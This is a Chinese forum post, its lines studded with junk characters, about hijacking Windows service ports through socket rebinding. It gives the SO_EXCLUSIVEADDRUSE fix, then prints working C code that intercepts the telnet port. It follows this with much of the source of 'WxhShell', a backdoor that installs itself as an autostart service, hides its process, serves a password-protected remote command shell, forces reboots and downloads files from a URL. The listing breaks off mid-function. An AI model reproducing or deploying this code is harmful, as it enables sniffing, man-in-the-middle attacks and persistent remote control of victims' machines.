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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v=!YfAn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nqT>qS[Z  
RctU'T  
  saddr.sin_family = AF_INET; |,b2b2v ?  
O|QUNr9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >R!"P[*  
l^\(ss0~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U4BqO :sd  
8p&kLo&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [F+(^- (  
Y9F)`1 7  
  这意味着什么?意味着可以进行如下的攻击: e}c&LDgU  
`ncNEHh7K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \)OEBN`9#  
!xu9+{-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cFK @3a  
*i^`Dw^~y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h4_ b!E@  
[)^mBVht  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lwc5S `"  
we3tx{j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gH[,Xx?BN!  
Ojq]HM6f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zJ+3g!  
w/W7N   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \<~}o I  
N2BI_,hI1  
  #include Z|G/^DK!  
  #include `H>b5  
  #include t2- ^-g6  
  #include     FZ F @  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Oe51PEqn  
  int main() RT^v:paNT2  
  { ^"9* 'vTtc  
  WORD wVersionRequested; !;S"&mcPDJ  
  DWORD ret; .[?BlIlm  
  WSADATA wsaData; R_^/,^1  
  BOOL val; qz!Ph5 (  
  SOCKADDR_IN saddr; ]dSK wxk  
  SOCKADDR_IN scaddr; /`[!_4i  
  int err; 5u r)uz]w8  
  SOCKET s; P ZxFZvE  
  SOCKET sc; ]ab#q=  
  int caddsize; XM/vDdR  
  HANDLE mt; Tkw;pb  
  DWORD tid;   LH2PTW\b!6  
  wVersionRequested = MAKEWORD( 2, 2 ); }u%"$[I}  
  err = WSAStartup( wVersionRequested, &wsaData ); |S&5es-yW  
  if ( err != 0 ) { KB!5u9  
  printf("error!WSAStartup failed!\n"); [ %}u=}@  
  return -1; \ECu5L4  
  } {hQ6K)s  
  saddr.sin_family = AF_INET; I9Eu',  
   Kc #|Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ecj7BT[mLI  
06 i;T~Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N2ied^* 0  
  saddr.sin_port = htons(23); `pL^}_>|GM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >xqM5#m`E$  
  { (gwj)?:  
  printf("error!socket failed!\n");  Ow:1?Z{4  
  return -1; `]=oo%(h  
  } vi!YN|}\  
  val = TRUE; C$d>_ r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t{dSX?<nt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AQss4[\Dx  
  { } fZ`IOf  
  printf("error!setsockopt failed!\n"); u,1}h L  
  return -1; +/rH(Ni  
  } ,qQG;w,m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3GH(wSv9\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k`\R+WK$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]ikomCg   
"Pz}@=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "5Uh< X  
  { 8z2Rry w  
  ret=GetLastError(); CSTI?A"P  
  printf("error!bind failed!\n"); Nc)J18  
  return -1;  En6H%^d2  
  } n6MM5h/#r  
  listen(s,2); `_vB+a  
  while(1) V0*3;n  
  { .fYZ*=P;c  
  caddsize = sizeof(scaddr); _:g&,2bc  
  //接受连接请求 _Ov;4nt!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yClx` S(  
  if(sc!=INVALID_SOCKET) D)@XoM(  
  {  k5`OH8G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $HJTj29/  
  if(mt==NULL) (=4W -z7  
  { &fOdlQ?  
  printf("Thread Creat Failed!\n"); e:w &(is  
  break; yX!HZu;j  
  } B@y(.  
  } _ oFs #kW  
  CloseHandle(mt); 2xwlKmI N  
  } l?8M p$M  
  closesocket(s); "TcW4U9  
  WSACleanup(); Ge+0-I6Ju  
  return 0; FV39QG4b4  
  }   |X19fgk  
  DWORD WINAPI ClientThread(LPVOID lpParam) k]A8% z  
  { (u3s"I d  
  SOCKET ss = (SOCKET)lpParam; CO:u1?  
  SOCKET sc; 2@=IT0[E\  
  unsigned char buf[4096]; q.#[TI ^  
  SOCKADDR_IN saddr; I 1Sa^7  
  long num; nH|,T%  
  DWORD val; k S# CEU7  
  DWORD ret; bzN-*3YE=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A{eLl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +rXF{@ l  
  saddr.sin_family = AF_INET; 5kypMHJm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nmU_N:Y  
  saddr.sin_port = htons(23); 20RXK1So  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V'Kgdj  
  { 8.J( r(;>  
  printf("error!socket failed!\n"); ;%C'FV e]  
  return -1; v``-F(i$  
  } @f+8%I3D  
  val = 100; qa`-* 4m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N2'qpxOLI  
  { hU]HTX'R  
  ret = GetLastError(); %V`F!D<D  
  return -1; #H?t!DU  
  } wXMDh$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $~0Q@):  
  { '*^yAlgtt  
  ret = GetLastError(); l_'[27  
  return -1; )d\ j I  
  } (>4aibA'P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X~=xXN.  
  { z4#(Ze@u~_  
  printf("error!socket connect failed!\n"); ?~"bR%  
  closesocket(sc); GNf482  
  closesocket(ss); f/,>%j=Ms  
  return -1; $''?HjB}T  
  } }9HmTr|  
  while(1) {`=0 |oP}  
  { 7uorQfR?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |BT MJ:B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =]`lN-rYw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u]-_<YZ'B  
  num = recv(ss,buf,4096,0); j$UV/tp5T  
  if(num>0) 2aw&YZ&Xo  
  send(sc,buf,num,0); T<3BT  
  else if(num==0) VV4Gjc  
  break; %3q0(Xl  
  num = recv(sc,buf,4096,0); acP+3u?r  
  if(num>0) 0P^L}VVX  
  send(ss,buf,num,0); W7"{r)7  
  else if(num==0) Zv11uH-C  
  break; Ji1Pz)fq  
  } *L6PLe  
  closesocket(ss); n79QJl/  
  closesocket(sc); ;8WZx  
  return 0 ; 7(M(7}EKA  
  } @E( 7V(m/  
{t"+ 3zy'  
Oa;X +  
========================================================== EN{]Qb06A  
)#|<w9uec  
下边附上一个代码,,WXhSHELL 4(}J.-B  
D(p\0V  
========================================================== '7wd$rl  
ih,%i4<}6m  
#include "stdafx.h" 9Zry]$0~R  
NN0$}acp  
#include <stdio.h> M.-"U+#aD  
#include <string.h> <IW#ME  
#include <windows.h> Djk C  
#include <winsock2.h> WW+l'6.  
#include <winsvc.h> k#8Ti"0  
#include <urlmon.h> {oc igR 0  
iwz  
#pragma comment (lib, "Ws2_32.lib") HEL!GC>#  
#pragma comment (lib, "urlmon.lib") w -Nhs6  
Ol"3a|  
#define MAX_USER   100 // 最大客户端连接数 MuoF FvAA  
#define BUF_SOCK   200 // sock buffer 8}H1_y-g[  
#define KEY_BUFF   255 // 输入 buffer ~\x:<)  
Om{l>24i.\  
#define REBOOT     0   // 重启 kGpa\c g1  
#define SHUTDOWN   1   // 关机 -jgysBw+Xb  
#&v/icz$  
#define DEF_PORT   5000 // 监听端口 )X4K2~k*  
u2oKH{/z  
#define REG_LEN     16   // 注册表键长度 ikWtC]y  
#define SVC_LEN     80   // NT服务名长度 DeR='7n  
PH"hn]  
// 从dll定义API Vpy 2\wZWb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @(P=Eh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !fBF|*/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t8^m`W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y(cN}44  
5es[Ph|K5  
// wxhshell配置信息 i)#:qAtP*  
struct WSCFG { m}>F<;hQ  
  int ws_port;         // 监听端口 ^F?&|clM/  
  char ws_passstr[REG_LEN]; // 口令 iAT)VQ&  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8Ll[ fJZA  
  char ws_regname[REG_LEN]; // 注册表键名 GgaTn!mJt  
  char ws_svcname[REG_LEN]; // 服务名 Dnc(l(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1n%?@+W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =rdY @  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3=-4%%[M@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?#yV3h|Ij  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SIBoCs5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )54%HM_$k  
qV5DW0.  
}; -{^}"N  
`eu9dLz H  
// default Wxhshell configuration .NtbL./=|  
struct WSCFG wscfg={DEF_PORT, .0R v(Y  
    "xuhuanlingzhe", s2j['g5  
    1, ngj,x7t  
    "Wxhshell", )%!XSsY.N|  
    "Wxhshell", OL_{_K(w  
            "WxhShell Service", 8M@BG8  
    "Wrsky Windows CmdShell Service", 0%!rx{f#\  
    "Please Input Your Password: ", RwS@I /  
  1, Y>jiXl?&  
  "http://www.wrsky.com/wxhshell.exe", AeAp0cbet  
  "Wxhshell.exe" 5*[2yKsTi  
    }; 7ugZE93!  
O;7)Hjwt  
// 消息定义模块 f|u#2!7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7JSNYTH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eNiaM6(J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jA#/Z  
char *msg_ws_ext="\n\rExit."; [r/k% <  
char *msg_ws_end="\n\rQuit."; s;UH]  
char *msg_ws_boot="\n\rReboot..."; hHqh{:q{v  
char *msg_ws_poff="\n\rShutdown..."; Kx_h1{  
char *msg_ws_down="\n\rSave to "; ~b {Gz6u>  
bQ|V!mrN}  
char *msg_ws_err="\n\rErr!"; ,lCgQ0}<  
char *msg_ws_ok="\n\rOK!"; 5SkW-+$  
5>AX*]c  
char ExeFile[MAX_PATH]; T{wuj[ Q#:  
int nUser = 0; AIA6yeaU  
HANDLE handles[MAX_USER]; m7T)m0  
int OsIsNt; h*ZC*eV>  
fib}b? vk  
SERVICE_STATUS       serviceStatus; !|c|o*t{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QRLt9L  
OT'[:|x ;  
// 函数声明 C"IKt  
int Install(void); ja=F7Usb  
int Uninstall(void); 1~ $);US  
int DownloadFile(char *sURL, SOCKET wsh); lsN~*q?~]  
int Boot(int flag); 02BuX]_0g  
void HideProc(void); 'l,V*5L  
int GetOsVer(void); :_M;E"9R  
int Wxhshell(SOCKET wsl); d;n."+=[x  
void TalkWithClient(void *cs); a~8[<Fomj  
int CmdShell(SOCKET sock); a#T]*(Yq)  
int StartFromService(void); Nan[<  
int StartWxhshell(LPSTR lpCmdLine); !'LW_@  
%e&9.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V ]90  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OzC\9YeA  
\=>H6x]q  
// 数据结构和表定义 3]?#he  
SERVICE_TABLE_ENTRY DispatchTable[] = %Qk/_ R1   
{ <V>dM4Mkr  
{wscfg.ws_svcname, NTServiceMain}, UwC=1g U  
{NULL, NULL} _#vrb;.+  
}; ?ve#} \  
{\[5}nV  
// 自我安装 G\T fL^A  
int Install(void) RoAlf+&Qb  
{ O#Wh TDF"  
  char svExeFile[MAX_PATH]; trE{FT  
  HKEY key; ZcYh) HD  
  strcpy(svExeFile,ExeFile); ]r_;dYa  
%u;~kP|S%  
// 如果是win9x系统,修改注册表设为自启动 z2Z^~, i  
if(!OsIsNt) { GKcv<G208  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a'\o 7_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mfv1Os:ST  
  RegCloseKey(key); t|m=J`a{q;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q{+_ <2U|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 10H)^p%3+  
  RegCloseKey(key); {/pm<k=  
  return 0; ;NRF=d>  
    } }pJwj  
  } @O[5M2|r  
} N]RZbzK_5G  
else { =Fdg/X1  
MX+ Z ?  
// 如果是NT以上系统,安装为系统服务 |\n_OS 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N<DGw?Rl  
if (schSCManager!=0) In[Cr/&/Y  
{ #h/Mbj~S  
  SC_HANDLE schService = CreateService )XWP\ h  
  ( Zkf0p9h\  
  schSCManager, DfKr[cqLM  
  wscfg.ws_svcname, `7H4Y&E  
  wscfg.ws_svcdisp, yeHDa+}  
  SERVICE_ALL_ACCESS, VWO9=A*Y|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o: ;"w"G  
  SERVICE_AUTO_START, ;,]P=Ey  
  SERVICE_ERROR_NORMAL, zz& ?{vJ  
  svExeFile, cYqfsd# B  
  NULL, ,*7d  
  NULL, -ig6w.%lk  
  NULL,  wd)jl%  
  NULL, D1 &A,2wO  
  NULL g(4xC7xK6  
  ); 1T[et-  
  if (schService!=0) Y/7 $1k  
  { H@l}WihW  
  CloseServiceHandle(schService); !fj(tPq  
  CloseServiceHandle(schSCManager); uIZWO.OdU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "U7qo}`I  
  strcat(svExeFile,wscfg.ws_svcname); 5YrBW:_OI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M}!2H*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PiA0]>  
  RegCloseKey(key); cH>%r^G\  
  return 0; RZ+`T+zL  
    } __.+s32SS$  
  } QVtQx>K`  
  CloseServiceHandle(schSCManager); a1@Y3M Q;i  
} %HJK;   
} %plo=RF  
<n#DT  
return 1; *BR^U$,e  
} 1/"WD?a  
rdJR 2  
// 自我卸载 s-v  
int Uninstall(void) &?(?vDFfZ  
{ ]9 @F~)  
  HKEY key;  z^<"x |:  
=W'Ae,&  
if(!OsIsNt) { Jkek-m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pxa(  
  RegDeleteValue(key,wscfg.ws_regname); 4]E3c AJ  
  RegCloseKey(key); qT^I?g"!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e2A-;4?_  
  RegDeleteValue(key,wscfg.ws_regname); ,2W8=ON  
  RegCloseKey(key); rvw)-=qR[  
  return 0; `*shF9.\C  
  } 5;HH4?]p  
} Gy(=706  
} 87YyDWTn  
else { /gG"v5]  
)-. _FOZ6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =&:Y6XP  
if (schSCManager!=0) Ywwu0.H<  
{ '  <=+;q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?5 {>;#0Z  
  if (schService!=0) :eCU/BC4  
  { y~\oTJb  
  if(DeleteService(schService)!=0) { Nal9M[]c  
  CloseServiceHandle(schService); xKho1Z  
  CloseServiceHandle(schSCManager); }B1!gz$YNO  
  return 0; Ct>GYk$  
  } UNBH  
  CloseServiceHandle(schService); mrjswF27$o  
  } V=*wKuB  
  CloseServiceHandle(schSCManager); <Sr  
} [)TRTxFb  
} .Fp4: e  
q?8| [.  
return 1; 8#g1P4  
} BT"XT5@  
PAM}*'  
// 从指定url下载文件 zld#qG6  
int DownloadFile(char *sURL, SOCKET wsh) [;J>bi;3N  
{ B]l)++~  
  HRESULT hr; 5wDg'X]>V  
char seps[]= "/"; XD2v*l|Po  
char *token; (P:<t6;+  
char *file; #n8IZ3+  
char myURL[MAX_PATH]; &*aIEa^  
char myFILE[MAX_PATH]; :w^Ed%>y7  
#e$5d>j(  
strcpy(myURL,sURL); *vwbgJG! *  
  token=strtok(myURL,seps); 2V#>)R#k  
  while(token!=NULL) 6l:qD`_  
  { D-._z:_  
    file=token; +O?KNZ  
  token=strtok(NULL,seps); 7](KV"%V  
  } Xx>X5Fy  
OL^l 3F  
GetCurrentDirectory(MAX_PATH,myFILE); ,]d /Q<  
strcat(myFILE, "\\"); @W"KVPd  
strcat(myFILE, file); z+n,uHs  
  send(wsh,myFILE,strlen(myFILE),0); ybKWOp:O  
send(wsh,"...",3,0); lE(a%'36  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W~7A+=&  
  if(hr==S_OK) LF& z  
return 0; @y\X R  
else i=oU;7~zK  
return 1; 5l UF7:A>#  
%#xaA'? [  
} 2$ze= /l  
wG-HF'0L  
// 系统电源模块 85Otss/mM  
int Boot(int flag) y1+*6|  
{ 4J/}]Dr5  
  HANDLE hToken; 7\s"o&G  
  TOKEN_PRIVILEGES tkp; ?b>,9A.Z  
waj0"u^#  
  if(OsIsNt) { E vg_q>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S(*sw 0O@+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #W.#Hjpp  
    tkp.PrivilegeCount = 1; U!*M*s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _)>_{Pm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (<xfCH F5  
if(flag==REBOOT) { \=ux atw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ni-xx9)=  
  return 0; U`NjPZe5^  
} '9 [vDG~  
else { %1xb,g KO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zv\kPfGDK  
  return 0; AW!?"xdZ  
} n%.7h3  
  } /YMj-S_b~  
  else { '6cWS'9"  
if(flag==REBOOT) { Enn"hdI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1;Cyz)  
  return 0; LcTt)rs f  
} O @j} K4  
else { ':3 pq2{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {YAJBIvHV  
  return 0; jN;@=COi  
} %u5L!W&  
} CFMo)"  
RbP6F*f  
return 1; '}Z~JYa0  
} sHt].gZ  
lvBx\e;7P  
// win9x进程隐藏模块 koZ*+VP=  
void HideProc(void) jD<{t  
{ uXJ;A *  
vZaZc}AyL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )f[ B6Y  
  if ( hKernel != NULL ) =C8?M  
  { EIf5(/jo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kwo3`b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KyYMfC  
    FreeLibrary(hKernel); gM u"2I5  
  } Ybs\ES'?A  
>_-s8t=|  
return; zuJ@E=7  
} KWowN;  
e478U$  
// 获取操作系统版本 >>t@}F)  
int GetOsVer(void) `(ue63AZ  
{ ~obqG!2m  
  OSVERSIONINFO winfo; "$+Jnc!!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lm-dW'7&  
  GetVersionEx(&winfo); P3x= 8_#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [B#R94  
  return 1; 'MUv5 Th  
  else 4ew" %Cs*  
  return 0; N~goI#4  
} (_mnB W  
bnq; )>&  
// 客户端句柄模块 ' g=  
int Wxhshell(SOCKET wsl) cdl&9-}  
{ Zw5Ni Xj  
  SOCKET wsh; F4}]b(L  
  struct sockaddr_in client; Z<1FSk,[  
  DWORD myID; "U>JM@0DNm  
4:$4u@   
  while(nUser<MAX_USER) -Ta9 pxZk  
{ 8dZSi  
  int nSize=sizeof(client); Lsq A**=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iNtaDX| %/  
  if(wsh==INVALID_SOCKET) return 1; JQ8fdP A  
r@h5w_9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q<[P6}.  
if(handles[nUser]==0) zZPuha8  
  closesocket(wsh); e6R}0w~G  
else _~IR6dKE  
  nUser++; X0bN3N  
  } LtWP0@JA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n'wU;!W9  
GK )?YM  
  return 0; BP'36?=Zo  
} -3t7*  
\qdHX  
// 关闭 socket F\JM\{&F  
void CloseIt(SOCKET wsh) #>b3"[ |  
{ Neq+16*u  
closesocket(wsh); D/Z6C&/I  
nUser--; X$ 0?j 1  
ExitThread(0); u]<,,  
} 5nv#+ap1 "  
jVv0ST*z  
// 客户端请求句柄 ]qethaNy  
void TalkWithClient(void *cs) xu/cq9  
{ 1an^1!  
T! Y@`Ox  
  SOCKET wsh=(SOCKET)cs; R} eN@#"D  
  char pwd[SVC_LEN]; kO.%9wFbz  
  char cmd[KEY_BUFF]; =x%dNf$e{W  
char chr[1]; 2h|MXI\g  
int i,j; b#uL?f  
@| M|+k3  
  while (nUser < MAX_USER) { @Lpq~ 1eZB  
\\PjKAsh  
if(wscfg.ws_passstr) { $UMFNjL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ygm`ZA y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eJF5n#  
  //ZeroMemory(pwd,KEY_BUFF); 8p^bD}lN7  
      i=0; cv-PRH#  
  while(i<SVC_LEN) { ?]|\4]zV  
/ ;$#d}R  
  // 设置超时 {C 6=[  
  fd_set FdRead; CJ/X}hi,  
  struct timeval TimeOut; x5,++7Tz  
  FD_ZERO(&FdRead); w k(VR  
  FD_SET(wsh,&FdRead); q M fT>rH  
  TimeOut.tv_sec=8; J`peX0Stl  
  TimeOut.tv_usec=0; 3 R=,1<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m!|kW{B#A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5L+>ewl  
j~2{lCT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5gb|w\N>  
  pwd=chr[0]; v~f HYa>  
  if(chr[0]==0xd || chr[0]==0xa) { A;;fACF8e  
  pwd=0; .f*4T4eR-  
  break; _Zp}?b5Q  
  } nF54tR[  
  i++; |'.*K]Yp  
    } 1Ce@*XBU  
yQ_B)b  
  // 如果是非法用户,关闭 socket r54&XE]O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )JDs\fUE  
} 9A/\h3HrJ  
Hbj,[$Jb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #X%~B'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }6p@lla,%]  
PXK7b2fE.  
while(1) { 6_J$UBT  
Lz`E;k^  
  ZeroMemory(cmd,KEY_BUFF); \s/s7y6b+  
oiF}?:7Q7  
      // 自动支持客户端 telnet标准   ^ssK   
  j=0; lW+\j3?Z$  
  while(j<KEY_BUFF) { ;+e}aER&9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O!m vJD  
  cmd[j]=chr[0]; 5QW=&zI`=  
  if(chr[0]==0xa || chr[0]==0xd) { `_BNy=`s*  
  cmd[j]=0; fL_4uC i\  
  break; wg7V-+@i  
  } zcel|oz)  
  j++; @G BxL*e  
    } u8gS< \  
S'|,oUWDb  
  // 下载文件 bV(Y`g  
  if(strstr(cmd,"http://")) { ujDd1Bxf?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C\S3Gs  
  if(DownloadFile(cmd,wsh)) _K`wG}YIE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RTvqCp  
  else HTVuStM8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *i\Qo  
  } D N'3QQn  
  else { na#CpS;pc  
qIVx9jNN  
    switch(cmd[0]) { -l`f)0{  
  "oTHq]Ku  
  // 帮助 WB?jRYp  
  case '?': { OP~HdocB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )T/0S$@  
    break; DNOueU  
  } f1`gdQ)H  
  // 安装 !Z`j2 e}  
  case 'i': { hU(umL<  
    if(Install()) :V1W/c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MC?,UDNd%  
    else gcE|#1>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J,V9k[88  
    break; )2pbpbWX>  
    } {J{+FFsr(  
  // 卸载 ~?D4[D|sB  
  case 'r': { @ >d*H75  
    if(Uninstall()) >/:" D$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QP@%(]fG  
    else %dRo^E1p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5\N(PL  
    break; iWei  
    } NV)!7~r}:  
  // 显示 wxhshell 所在路径 `{eyvW[Ks  
  case 'p': { SHvq.lYJ  
    char svExeFile[MAX_PATH]; Wl;.%.]>  
    strcpy(svExeFile,"\n\r"); 0@ yXi  
      strcat(svExeFile,ExeFile); b o0^3]Z  
        send(wsh,svExeFile,strlen(svExeFile),0); LUG;(Fko  
    break; Gn\_+Pj$  
    } Fgkajig  
  // 重启 [OjF[1I)u  
  case 'b': { ?5U2D%t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  +EFgE1w  
    if(Boot(REBOOT)) g'p K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +1Vjw'P  
    else { CAWA3fcQp  
    closesocket(wsh); *meZ8DV2DH  
    ExitThread(0); c;%_EN%  
    } wmk *h-  
    break; >NqYyW,%  
    } Ot:CPm@  
  // 关机 Vx(B{5>Vu  
  case 'd': { kQ4dwF~  
